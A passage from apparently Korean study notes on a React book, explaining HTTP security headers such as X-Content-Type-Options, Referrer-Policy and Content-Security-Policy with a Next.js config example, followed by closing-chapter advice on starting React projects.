모든 곳에서 허용한다. 234 | Permission-Policy : camera=*; 235 | ``` 236 | 237 | ### X-Content-Type-Options 238 | 239 | 먼저 MIME이 무엇인지 알아야한다. MIME이란 Multipurpose Internet Mail Extension의 약자로 Content-type의 값으로 사용된다. 이름에서처럼 원래는 메일을 전송할 때 사용하던 방식으로 현재는 Content-type에서 대표적으로 사용된다. 240 | 241 | 여기서 X-Content-Type-Options이란 Content-type 헤더에서 제공하는 MIME 유형이 브라우저에 의해 임의로 변경되지 않게 하는 헤더이다. 242 | 243 | 즉 Content-type : text/css 헤더가 없는 파일은 브라우저가 임의로 CSS로 사용할 수 없으며, Content-type : text/javascript나 Content-type : application/javascript 헤더가 없는 파일은 자바스크립트로 해석할 수 없다. 244 | 245 | 예를 들어 어떤 공격자가 .jpg 파일을 웹 서버에 업로드 했는데 실제 그 파일은 그림이 아닌 자바스크립트 정보를 담고 있다. 브라우저는 .jpg로 파일을 요청했지만 실제 스크립트가 담기고, 보안 위험에 노출된다. 246 | 247 | 다음과 같이 헤더를 설정하면 파일의 타입이 CSS나 MIME이 text/css가 아닌 경우, 파일 내용이 script나 MIME 타입이 자바스크립트 타입이 아니면 차단한다. 248 | 249 | ```ts 250 | X-Content-Type-Options : nosniff 251 | ``` 252 | 253 | ### Referrer-Policy 254 | 255 | HTTP 요청에는 Referer라는 헤더가 존재하고, 이 헤더는 현재 요청을 보낸 페이지의 주소가 담기게 된다. 먼저 출처와 이를 구성하는 용어에 대해 알아보자. 256 | 257 | https://yceffort.kr의 경우 다음과 같이 구성되어 있다. 258 | 259 | - scheme : HTTPS 프로토콜을 의미한다. 260 | - hostname : yceffort.kr이라는 호스팅명을 의미한다. 261 | - port : 443 포트를 의미한다. (보통 HTTPS의 경우 443포트를 사용) 262 | 263 | 웹 사이트 보안의 기본적인 대전제는 동일 출처 Same-Origin 이다. 이것을 Same-Origin Policy(SOP) 라고 한다. 264 | 265 | 어떤 요청이 동일한 출처에서 발생하지 않은 경우에는 Cross-Site 또는 Cross-Origin 이라고 하며, 개인 정보 보호 및 웹 공격 방어 차원에서 특정한 기능이나 정보가 제한된다. 266 | 267 | ![](https://velog.velcdn.com/images/sejinkim/post/0fee139c-3c7e-4b44-89f4-30221d494cab/image.png) 268 | 269 | origin(출처)이란 scheme + hostname + port 의 조합이다. 270 | 예를 들어, URL이 https://www.example.com:443/search?query=frontend인 경우, origin은 https://www.example.com:443이 된다. 271 | 272 | Referer의 정확한 정의는, '현재 요청을 보낸 페이지의 절대 혹은 부분 주소' 이다. 아래와 같은 경우에 존재한다. 273 | 274 | - 사용자의 링크 클릭 275 | - 이미지, 스크립트, iframe, 기타 리소스 등 브라우저의 하위 리소스(subresource) 요청 276 | 277 | ![](https://velog.velcdn.com/images/sejinkim/post/29918ff7-54f4-4017-812e-e93241dd9ae5/image.jpg) 278 | 279 | 위처럼 사이트에 방문한 사용자가 어디에서 왔고 누구인지를 식별할 수 있게 될 수 있습니다. 요컨대 잠재적인 취약점이 될 수 있다. 280 | 281 | ![](https://velog.velcdn.com/images/sejinkim/post/2f619e48-4cf9-4f80-8469-937a97c60598/image.jpg) 282 | 283 | 정책으로는 다음의 것들이 존재한다. 284 | 285 | 286 | - no-referrer : Referer 헤더를 전혀 보내지 않습니다. 287 | 288 | - no-referrer-when-downgrade : 보안 연결(HTTPS)에서 비보안 연결(HTTP)로 이동할 때 Referer 헤더를 보내지 않습니다. 이는 기본적인 정책입니다. 289 | 290 | - same-origin : 같은 출처에서 요청한 경우에만 Referer 헤더를 보냅니다. 291 | 292 | - origin : Referer 헤더에 원본 URL의 출처(즉, 프로토콜, 호스트, 포트)만 포함시킵니다. 293 | 294 | - strict-origin : 보안 연결에서 비보안 연결로 이동할 때 Referer 헤더를 보내지 않는 것을 제외하고는 origin과 같습니다. 295 | 296 | - origin-when-cross-origin : 같은 출처에서 요청한 경우 전체 URL을, 그렇지 않은 경우 원본 URL의 출처만 Referer 헤더에 포함시킵니다. 297 | 298 | - strict-origin-when-cross-origin : 보안 연결에서 비보안 연결로 이동할 때 Referer 헤더를 보내지 않는 것을 제외하고는 origin-when-cross-origin과 같습니다. 299 | 300 | - unsafe-url : Referer 헤더에 전체 원본 URL을 포함시킵니다. 이 옵션은 개인 정보가 노출될 위험이 있으므로 사용에 주의해야 합니다. 301 | 302 | ### Content-Security-Policy 303 | 304 | 콘텐츠 보안 정책은 XSS 공격이나 데이터 삽입 공격과 같은 보안 위험을 막기 위해 설계되었다. 305 | 306 | -src 307 | 308 | font-src,img-src 등 다양한 src를 제어할 수 있는 제어문이다. 예를 들어 font-src는 다음과 같이 쓸 수 있다. 309 | 310 | ```ts 311 | Content-Security-Policy : font-src 312 | ``` 313 | 314 | 이렇게 선언하면 font의 src로 가져오는 소스를 제한할 수 있다. 여기에 선언된 font 소스만 가져올 수 있다. 315 | 316 | Next에서 HTTP 경로별로 보안 헤더를 설정할 수 있다. 이 설정은 next.config.js에서 추가할 수 있따. 317 | 318 | 319 | ```js 320 | const Headers = [ 321 | { 322 | key:'key', 323 | value:'value' 324 | } 325 | ] 326 | 327 | module.exports = { 328 | async headers(){ 329 | return [ 330 | { 331 | source:'/:path*', 332 | headers:Headers 333 | } 334 | ] 335 | } 336 | } 337 | ``` 338 | 339 | 추가할 수 있는 것은 다음과 같다. 340 | 341 | - X-XSS-Protection 342 | 343 | - X-Frame-Options 344 | 345 | - Permissions-Policy 346 | 347 | - X-Content-Type-Options 348 | 349 | - Referer-Policy 350 | 351 | - Content-Security-Policy 352 | -------------------------------------------------------------------------------- /[15장] 마치며/주하.md: -------------------------------------------------------------------------------- 1 | [🔗노션 링크](https://selective-scarer-9c2.notion.site/15-f810015499d54eb39cc235e6e2a01893?pvs=4) 2 | -------------------------------------------------------------------------------- /[15장] 마치며/효리.md: -------------------------------------------------------------------------------- 1 | 🔗 [노션 링크](https://artistic-roadrunner-94f.notion.site/15-f8e0e4b564394b59bd2b832dbd603743?pvs=4) 2 | -------------------------------------------------------------------------------- /[15장] 마치며/효중.md: -------------------------------------------------------------------------------- 1 | 리액트 플젝 시작 시 고려해야 할 점 2 | 3 | ## 유지보수 중인 서비스라면 최소 16.8~17.0.2로 버전업을 하자 4 | 5 | 16.8 버전부터 훅과 함수형 컴포넌트 개념이 도입되었다. 6 | 기존의 클래스 컴포넌트를 함수 컴포넌트로 리팩토링은 굳이 하지 않아도 된다. 7 | 8 | ## 인터넷 익스플로러 11 지원 시 더 주의하자 9 | 10 | 인터넷 익스플로러 등 레거시 브라우저를 지원하려면 주의를 해야 한다. 11 | 12 | - react는 18버전부터 인터넷 익스플로러 11을 지원하지 않는다 13 | - Next는 13버전부터 인터넷 익스플로러 11을 지원하지 않는다. 14 | - query-string도 6버전부터 지원하지 않는다. 15 | 16 | ## 서버 사이드 렌더링을 애플리케이션을 우선적으로 고려하자 17 | 18 | 자바스크립트 코드의 실행 속도에 의존적일수록 평균적인 사용자 경험을 제공하기란 어렵다. 많은 사용자를 감당하고, 서버를 준비할 여유가 있다면 서버사이드 렌더링을 우선적으로 고려하자. 19 | 20 | Next,Remix 등등 많은 도구가 많다. 21 | 22 | ## 상태관리 라이브러리는 필요할 때만 도입하자 23 | 24 | 리액트 Context API, 기본적인 훅들로 props Drilling문제를 겪지 않고 하위 컴포넌트에 얼마든지 상태를 주입할 수 있다. 프로젝트를 하기전 , 반드시 상태관리 라이브러리가 필요한지 꼭 한번 생각해보자. 25 | 26 | ## 리액트..언제까지 갈까? 얼마든지 사라질 수 있다. 27 | 28 | 오랜 기간 동안 리액트가 우위를 점한 기간은 생각보다 길지 않다. 리액트는 완벽한 라이브러리가 아니다. 29 | 30 | 오히려 Vue나 스벨트가 공식문서도 잘 정리되어 있고 깔끔하다. 31 | 32 | 너무 방대한 자유는 오히려 혼란을 준다. 스타일링에 초점을 맞추자. 선택할 수 있는 방법은 엄청 많다. 33 | 34 | - 외부 스타일 시트 35 | - 인라인스타일 36 | - CSS모듈 37 | - styled-components 38 | 39 | 이 문제는 비단 스타일 뿐만 아니라 데이터를 fetch 하는 방법, 상태 관리 등 너무 많다.리액트 뿐만 아니라 오히려 해당 방법에 대해 공부하고, 적응해야 하는 불편함이 존재한다. 40 | 41 | 리액트 개발자가 아니라 웹 개발자라고 소개할 수 있을 정도로 개발에 유연한 자세를 가지자. 42 | --------------------------------------------------------------------------------